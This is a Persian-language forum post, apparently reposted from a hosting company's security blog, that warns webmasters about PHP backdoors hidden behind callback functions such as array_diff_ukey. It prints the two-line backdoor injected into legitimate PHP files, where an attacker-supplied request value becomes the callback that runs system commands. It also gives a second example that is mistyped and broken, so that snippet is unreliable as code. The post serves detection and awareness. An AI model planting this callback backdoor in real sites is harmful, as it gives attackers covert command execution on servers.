نمایش نتایج: از شماره 1 تا 4 , از مجموع 4

موضوع: توابع PHP Callback راه جدید مخفی کردن Backdoorها

Threaded View

پست قبلی پست قبلی   پست بعدی پست بعدی
  1. #1
    کاربر اخراج شده
    تاریخ عضویت
    Aug 2013
    نوشته ها
    302
    تشکر تشکر کرده 
    146
    تشکر تشکر شده 
    829
    تشکر شده در
    387 پست

    پیش فرض توابع PHP Callback راه جدید مخفی کردن Backdoorها

    توجه به بررسی‌هایی امنیتی روزانه که در ایران‌سرور انجام می‌شود، تکنیک‌هایی که نویسنده‌گان malware (مخرب)ها برای بکارگیری آن استفاده می‌کنند گاهی بسیار بامزه و جذاب است، و سبب شادی و نشاط می‌شود، اما بسیاری از این تکنیک‌ها بسیار مخرب هستند و می‌توانند مدیر یک سایت و یا حتی یک سرور را در شرایط بحرانی قرار دهند. متن زیر به یکی از همین تکنیک‌های مخرب اشاره خواهد داشت.

    تمام کسانی که به نوعی با زیان PHP و دستورات آن آشنایی دارند تابع eval() و کاربردش را می‌شناسند. کاربرد این تابع ارزیابی اعتبار رشته‌های ورودی به عنوان دستور PHP است. به عبارت دیگر اجرا کننده کد است. در حال‌حاضر روش‌های زیادی برای اجرای دستور در زبان PHP وجود دارد، روش‌هایی که زیاد شفاف نیستند.

    یکی از این راه‌ها بسیار معمول، استفاد از تابع preg_replace() می‌باشد. با توجه به توضیح تابع preg_replace()، این تابع اجرا کننده‌ی یک عبارت منظم search and replace (جستجو و تغییر) است. متاسفانه زمانی که از “\e” در این تابع استفاده شود، این تابع دستور را اجرا خواهد کرد.

    از دیگر راه‌های اجرای دستورات می‌توانcreate_function() و the assert() را برشمرد، انتخاب‌هایی که برای اجرای یک دستور وجود دارد، تحلیل و شناسایی نرم‌افزارهای مخرب را پیچیده‌تر می‌کند. به‌همین دلیل است که می‌گوییم، حتی با دانش و مهارتی که ما داریم، همچنان به دنبال پیدا کردن راه‌های زیرکانه و مبتکرانه نویسندگان مخرب‌ها در بکارگیری backdoor‌هایشان هستیم.
    backdoor‌:

    با تزریق دو خط مانند زیر به ابتدای یک فایل PHP معتبر، حمله شروع می‌شود.
    کد PHP:
    @array_diff_ukey(@array((string)$_REQUEST['password']=>1),
    @array((string)
    stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); 


    با کمی دقت متوجه مشکل تابع callback خواهید شد، نویسنده مخرب، تابع callback را به عنوان یک متغییر ورود تنظیم کرده‌است؛ متغیری که به وسیله مهاجم کنترل می‌گردد. بنابراین او می‌تواند وارد سیستم شده و به عنوان یک کاربر معتبر، بر روی سرور دستورات و توابع مورد نیاز خود را اجرا کند.


    به مثال زیر دقت کنید:

    کد PHP:
    <?php
    arry_diff_ukey
    (@array('echo All your data belong to me!" =>1)/@array("=>2).'system');
    ?>
    به‌همین سادگی با استفاده ار این ترفند می‌توان یک دستور سیستمی اجرا کرد و متاسفانه هیچ کدام از آنتی‌ویروس‌هایی که ما مورد آزمایش قرار دادیم، این خط را به عنوان یک مخرب شناسایی نکرد.

    مسئله مهم چیست؟

    بیشتر ابزارهای امنیتی و مقالات به وب مسترها پیشنهاد می‌دهند به دنبال زیر مجموعه‌های خاصی از توابع که معمولا برای اهداف مخرب استفاده می‌شود باشند. مانند eval ،preg_replace ،base64_decode و از این قبیل. دلیل آن کاملا مشخص است، مهاجم‌ها نیز دقیقا به دنبال همین توابع برای رسیدن به اهداف خود هستند.


    کلام آخر اینکه دقت داشته باشید، تابع array_diff_ukey() تنها تابعی نیست که می‌توان از آن چنین استفاده‌ای کرد، هر تابعی که ماهیت callback را در خود داشته باشد، به مهاجم امکان استفاده در جهت پیشبرد اهدافش را خواهد داد.



    منبع :
    توابع PHP Callback راه جدید مخفی کردن Backdoorها - ایران سرور
    ویرایش توسط zartosht : April 28th, 2014 در ساعت 09:51

  2. تعداد تشکر ها ازzartosht به دلیل پست مفید


اطلاعات موضوع

کاربرانی که در حال مشاهده این موضوع هستند

در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)

موضوعات مشابه

  1. توجه توجه .نویسندگی سایت های جور وا جور .توجه توجه
    توسط ko9ol30 در انجمن به دنبال کار هستم
    پاسخ ها: 0
    آخرين نوشته: June 20th, 2015, 12:21
  2. ارور callback.php در freer
    توسط netmizban در انجمن مباحث دیگر
    پاسخ ها: 11
    آخرين نوشته: February 17th, 2015, 10:32
  3. callback بانک ملت
    توسط softlayer در انجمن سوالات و مشکلات
    پاسخ ها: 20
    آخرين نوشته: April 12th, 2014, 00:58
  4. بهم ریختگی callback پس از پرداخت در قالب فریر
    توسط armin2afm0056 در انجمن مباحث دیگر
    پاسخ ها: 1
    آخرين نوشته: February 17th, 2014, 18:34
  5. مشکل در callback ماژول بانک ملت
    توسط websazanbartar در انجمن سوالات و مشکلات
    پاسخ ها: 3
    آخرين نوشته: October 14th, 2012, 01:55

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •